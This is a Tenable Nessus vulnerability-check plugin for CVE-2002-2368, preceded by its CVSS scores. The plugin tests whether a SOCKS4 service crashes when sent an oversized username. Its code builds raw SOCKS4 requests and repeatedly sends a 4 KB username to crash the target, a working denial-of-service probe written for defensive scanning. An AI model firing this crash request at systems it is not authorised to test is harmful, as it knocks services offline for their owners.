10 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.021 Low
EPSS
Percentile
89.3%
The SOCKS4 service running on the remote host crashes when it receives a request with a long username. An attacker may be able to leverage this issue to disable the remote service or even execute arbitrary code on the affected host.
#
# (C) Tenable Network Security, Inc.
#
# References:
# Message-ID: <[email protected]>
# Date: Mon, 21 Oct 2002 01:38:15 +0900
# From:"Kanatoko" <[email protected]>
# To: [email protected]
# Subject: AN HTTPD SOCKS4 username Buffer Overflow Vulnerability
#
# Vulnerable:
# AN HTTPD
#
include("compat.inc");
if(description)
{
script_id(11164);
script_version ("1.21");
script_cve_id("CVE-2002-2368");
script_bugtraq_id(5147);
script_name(english:"NEC SOCKS4 Module Username Handling Remote Overflow");
script_set_attribute(
attribute:"synopsis",
value:"The remote SOCKS service is prone to a buffer overflow attack."
);
script_set_attribute(attribute:"description", value:
"The SOCKS4 service running on the remote host crashes when it receives
a request with a long username. An attacker may be able to leverage
this issue to disable the remote service or even execute arbitrary
code on the affected host." );
script_set_attribute(
attribute:"solution",
value:"Contact the vendor for a fix."
);
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
script_set_attribute(attribute:"exploit_available", value:"false");
script_cwe_id(119);
script_set_attribute(attribute:"plugin_publication_date", value: "2002/11/25");
script_cvs_date("Date: 2018/07/30 15:31:32");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_summary(english:"Too long username kills the SOCKS4 server");
script_category(ACT_DENIAL);
script_copyright(english:"This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.");
script_family(english:"Firewalls");
script_require_ports("Services/socks4", 1080);
script_dependencie("find_service1.nasl");
exit(0);
}
include("audit.inc");
include("byte_func.inc");
include("global_settings.inc");
include("misc_func.inc");
function mkreq(port, user)
{
# Create a connection request.
return
raw_string(4) + # Protocol version
raw_string(1) + # Command code to establish a stream conneciton
mkword(port) + # Port to connect to
raw_string(10, 10, 10, 10) + # IP address
user + raw_string(0); # User ID
}
rport = 8080;
timeout = 30;
port = get_service(svc:"socks4", default:1080, exit_on_fail:TRUE);
if (!get_port_state(port)) audit(AUDIT_PORT_CLOSED, port);
# All parameters in SOCKS4 are big-endian.
set_byte_order(BYTE_ORDER_BIG_ENDIAN);
# Create a benign connection request and send it.
req = mkreq(port:rport, user:"nessus");
soc = open_sock_tcp(port);
if (!soc) audit(AUDIT_PORT_CLOSED, port);
send(socket:soc, data:req);
res = recv(socket:soc, length:8, timeout:timeout);
close(soc);
# Confirm that the target responded.
if (!res) audit(AUDIT_RESP_NOT, port);
# Confirm that the response is in the expected format.
status = getbyte(blob:res, pos:1);
if (
strlen(res) != 8 ||
getbyte(blob:res, pos:0) != 0x00 ||
status < 0x5A ||
status > 0x5D
) audit(AUDIT_RESP_BAD, port);
# A username consisting of about 4 KB should be enough.
req = mkreq(port:rport, user:crap(4095));
# Check if we can crash the service.
alive = TRUE;
for (i = 0; alive && i < 6; i++)
{
soc = open_sock_tcp(port);
if (!soc) audit(AUDIT_PORT_CLOSED, port);
send(socket:soc, data:req);
res = recv(socket:soc, length:8, timeout:timeout);
close(soc);
soc = open_sock_tcp(port);
if (!soc)
alive = (service_is_dead(port: port) <= 0);
close(soc);
}
if (alive)
audit(AUDIT_LISTEN_NOT_VULN, "SOCKS4", port);
security_hole(port);